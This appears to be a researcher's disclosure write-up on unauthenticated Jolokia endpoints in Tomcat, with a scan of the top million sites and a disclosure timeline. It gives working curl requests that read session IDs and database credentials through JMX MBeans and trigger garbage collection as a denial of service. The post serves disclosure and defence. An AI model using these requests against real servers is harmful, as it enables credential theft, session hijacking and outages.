JolokiaPwn - Information disclosure, DoS and more in Java web servers

How the popular tool Jolokia, commonly deployed in J2EE applications but also commonly misconfigured, can be used to disclose information or execute commands, often without authentication.

JolokiaPwn - Information disclosure, DoS and more in Java web servers

Background

Jolokia allows a Java application to embed a RESTful endpoint to read, write and execute JMX operations in the application. Typically, this is deployed as part of a Java web application, and Jolokia provides a number of agents to do this. Often this is done for monitoring purposes, you can query information about the available executors, garbage collection statistics etc.

The popular monitoring solution Check MK even bundles a built-in plugin to query a running Jolokia endpoint and parse the output with very little additional configuration - in fact, we use this at the University of Warwick to monitor all of our web servers:

jolokia

The problem

Prior to version 1.6.0, the Jolokia WAR agent is insecure by default. In the reference manual the steps that need to be taken to secure the war agent with a username and password are described - this involves extracting the downloaded war file, modifying the web.xml to set up security, and for that user to then be configured in the normal way in the J2EE container.

Unfortunately, in a lot of cases this doesn't happen, and the Jolokia agent is simply deployed as jolokia.war or similar. If Tomcat then serves requests directly or behind a reverse proxy, this then leaves the Jolokia endpoint visible by a reliable URL. If this isn't then secured by a firewall (or similar), the /jolokia endpoint can be left open to the whole Internet without authentication.

For someone who doesn't look very hard, this might not seem like much of a problem as it's only monitoring information; this is very wrong. Tomcat (and other servlet containers) export an enormous amount of information over JMX and Jolokia allows execution of arbitrary commands against these MBeans, which can lead to sensitive information disclosure or a DoS.

Proof of concept

Here, the proof of concept is against an Apache Tomcat 8 servlet container, but could easily be recycled against any other.

This is a clean download of Apache 8.5.31, with a data source added into conf/context.xml (just to show we can exfiltrate the configuration) and a Jolokia 1.5.0 WAR agent downloaded from the website and placed in webapps/jolokia.war.

Basic information disclosure

Information about the application server the application is running on, the Jolokia version and basic information about deployed applications is queryable:

$ curl -s 'http://localhost:8080/jolokia/' | python -m json.tool
{
    "request": {
        "type": "version"
    },
    "status": 200,
    "timestamp": 1527277376,
    "value": {
        "agent": "1.5.0",
        "config": {
            "agentContext": "/jolokia",
            "agentId": "137.205.194.132-6728-32129a69-servlet",
            "agentType": "servlet",
            "allowDnsReverseLookup": "true",
            "allowErrorDetails": "true",
            "authIgnoreCerts": "false",
            "authMode": "basic",
            "canonicalNaming": "true",
            "debug": "false",
            "debugMaxEntries": "100",
            "detectorOptions": "{}",
            "discoveryEnabled": "false",
            "dispatcherClasses": "org.jolokia.http.Jsr160ProxyNotEnabledByDefaultAnymoreDispatcher",
            "historyMaxEntries": "10",
            "includeStackTrace": "true",
            "listenForHttpService": "true",
            "maxCollectionSize": "0",
            "maxDepth": "15",
            "maxObjects": "0",
            "mimeType": "text/plain",
            "policyLocation": "classpath:/jolokia-access.xml",
            "realm": "jolokia",
            "serializeException": "false",
            "streaming": "true",
            "useRestrictorService": "false"
        },
        "info": {
            "product": "tomcat",
            "vendor": "Apache",
            "version": "8.5.31"
        },
        "protocol": "7.2"
    }
}

Here, we can see that a root application along with Jolokia and the manager application are deployed:

$ curl -s 'http://localhost:8080/jolokia/read/Catalina:type=Manager,context=*,host=localhost' | python -m json.tool
{
    "request": {
        "mbean": "Catalina:context=*,host=localhost,type=Manager",
        "type": "read"
    },
    "status": 200,
    "timestamp": 1527277515,
    "value": {
        "Catalina:context=/,host=localhost,type=Manager": {
            "activeSessions": 0,
            "className": "org.apache.catalina.session.StandardManager",
            "duplicates": 0,
            "expiredSessions": 0,
            "jvmRoute": null,
            "maxActive": 0,
            "maxActiveSessions": -1,
            "modelerType": "org.apache.catalina.session.StandardManager",
            "name": "StandardManager",
            "pathname": "SESSIONS.ser",
            "processExpiresFrequency": 6,
            "processingTime": 0,
            "rejectedSessions": 0,
            "secureRandomAlgorithm": "SHA1PRNG",
            "secureRandomClass": null,
            "secureRandomProvider": null,
            "sessionAttributeNameFilter": null,
            "sessionAttributeValueClassNameFilter": null,
            "sessionAverageAliveTime": 0,
            "sessionCounter": 0,
            "sessionCreateRate": 0,
            "sessionExpireRate": 0,
            "sessionMaxAliveTime": 0,
            "stateName": "STARTED",
            "warnOnSessionAttributeFilterFailure": false
        },
        "Catalina:context=/jolokia,host=localhost,type=Manager": {
            "activeSessions": 0,
            "className": "org.apache.catalina.session.StandardManager",
            "duplicates": 0,
            "expiredSessions": 0,
            "jvmRoute": null,
            "maxActive": 0,
            "maxActiveSessions": -1,
            "modelerType": "org.apache.catalina.session.StandardManager",
            "name": "StandardManager",
            "pathname": "SESSIONS.ser",
            "processExpiresFrequency": 6,
            "processingTime": 0,
            "rejectedSessions": 0,
            "secureRandomAlgorithm": "SHA1PRNG",
            "secureRandomClass": null,
            "secureRandomProvider": null,
            "sessionAttributeNameFilter": null,
            "sessionAttributeValueClassNameFilter": null,
            "sessionAverageAliveTime": 0,
            "sessionCounter": 0,
            "sessionCreateRate": 0,
            "sessionExpireRate": 0,
            "sessionMaxAliveTime": 0,
            "stateName": "STARTED",
            "warnOnSessionAttributeFilterFailure": false
        },
        "Catalina:context=/manager,host=localhost,type=Manager": {
            "activeSessions": 0,
            "className": "org.apache.catalina.session.StandardManager",
            "duplicates": 0,
            "expiredSessions": 0,
            "jvmRoute": null,
            "maxActive": 0,
            "maxActiveSessions": -1,
            "modelerType": "org.apache.catalina.session.StandardManager",
            "name": "StandardManager",
            "pathname": "SESSIONS.ser",
            "processExpiresFrequency": 6,
            "processingTime": 0,
            "rejectedSessions": 0,
            "secureRandomAlgorithm": "SHA1PRNG",
            "secureRandomClass": null,
            "secureRandomProvider": null,
            "sessionAttributeNameFilter": null,
            "sessionAttributeValueClassNameFilter": null,
            "sessionAverageAliveTime": 0,
            "sessionCounter": 0,
            "sessionCreateRate": 0,
            "sessionExpireRate": 0,
            "sessionMaxAliveTime": 0,
            "stateName": "STARTED",
            "warnOnSessionAttributeFilterFailure": false
        }
    }
}

Disclosure of session IDs

The Manager MBean has a listSessionIds method that we can execute to get a list of space-separated session IDs that we may be able to use to hijack a user's session.

Here, we specifically target the /manager app as the default app doesn't use sessions (but most deployed web apps do):

$ curl -s -H'Content-Type: application/json' --data '{"type":"EXEC","mbean":"Catalina:context=/manager,host=localhost,type=Manager","operation":"listSessionIds"}' 'http://localhost:8080/jolokia/' | python -m json.tool
{
    "request": {
        "mbean": "Catalina:context=/manager,host=localhost,type=Manager",
        "operation": "listSessionIds",
        "type": "exec"
    },
    "status": 200,
    "timestamp": 1527277922,
    "value": "8E9C3986C1CE0D563AFB98B3DD0FF9E9 "
}

In this particular instance the manager attack isn't vulnerable to session replay with just the session ID because it's protected by HTTP Basic Auth.

Disclosure of database details

Tomcat exports DataSources declared in context.xml as MBeans by default, so you can query them and get their attributes:

$ curl -s 'http://localhost:8080/jolokia/read/Catalina:type=DataSource,name=*,*/url,username,password' | python -m json.tool
{
    "request": {
        "attribute": [
            "url",
            "username",
            "password"
        ],
        "mbean": "Catalina:name=*,type=DataSource,*",
        "type": "read"
    },
    "status": 200,
    "timestamp": 1527278128,
    "value": {
        "Catalina:class=javax.sql.DataSource,context=/,host=localhost,name=\"jdbc/FIMDS\",type=DataSource": {
            "password": "jsdidsjidsj",
            "url": "jdbc:jtds:sqlserver://identity.myorg.org:1433;useLOBs=false",
            "username": "sqlsrvrv"
        },
        "Catalina:class=javax.sql.DataSource,context=/,host=localhost,name=\"jdbc/SITSDS\",type=DataSource": {
            "password": "qawsedfrtg",
            "url": "jdbc:oracle:thin:@//racdb.myorg.org:1521/racdb.myorg.org",
            "username": "dbaccess"
        }
    }
}

You could re-purpose these as part of a network attack to exfiltrate information from the database.

Denial of service

Some of the Jolokia instances that I found didn't accept POSTs as there was some protection at the domain level (though I suspect that could've been worked around), but you can still execute expensive commands with a GET; here we can trigger a full GC simply by visiting a URL - we could call that endlessly to suck up CPU and cause a DoS. In production environments with huge heap sizes, these GCs are likely to lead to long pauses.

$ curl -s 'http://localhost:8080/jolokia/exec/java.lang:type=Memory/gc' | python -m json.tool
{
    "request": {
        "mbean": "java.lang:type=Memory",
        "operation": "gc",
        "type": "exec"
    },
    "status": 200,
    "timestamp": 1527278357,
    "value": null
}

Scale

I wrote a small program to scan the Alexa top 1 million websites and to check for an unsecured /jolokia endpoint. If found, this discloses the servlet container and version.

For each domain, the following URLs were attempted:

  • http://$DOMAIN$/jolokia
  • http://www.$DOMAIN$/jolokia
  • http://$DOMAIN$:8080/jolokia
  • https://$DOMAIN$/jolokia
  • https://www.$DOMAIN$/jolokia
  • https://$DOMAIN$:8443/jolokia

This was just a quick check to get a feel of the scale, rather than any attempt to be exhaustive.

Out of the 1,000,000 domains, the results were:

Result No. of domains
Exploitable 147
401 2016
Other 2xx 340488
Other 4xx 205645
Timeout/error 451704

A 401 response would typically indicate that connections to Jolokia were secured behind some kind of authentication and may still be exploitable if the credentials are weak.

Response

The vast majority of the affected domains were able to close the vulnerability quickly, though contact with the affected companies was, at best, patchy. I plan to comment on my experience of disclosure in a separate post - this is the first time I've gone through such an exercise and it was quite a stressful one.

On 25th June 2018 version 1.6.0 of Jolokia was released, which requires a user with the jolokia role to be configured with the WAR agent. From my perspective, I consider this to fix the vulnerability as users must explicitly opt-in to using an insecure version of the agent.

Timeline

Date Event
24th May 2018 Initial discovery, start scan
25th May 2018 Disclosure to HackerOne
26th-28th May 2018 Disclosure to affected domains, maintainer of Jolokia and Apache security team
25th June 2018 Public disclosure
25th June 2018 Article updated to refer to Jolokia 1.6.0 as fixing the vulnerability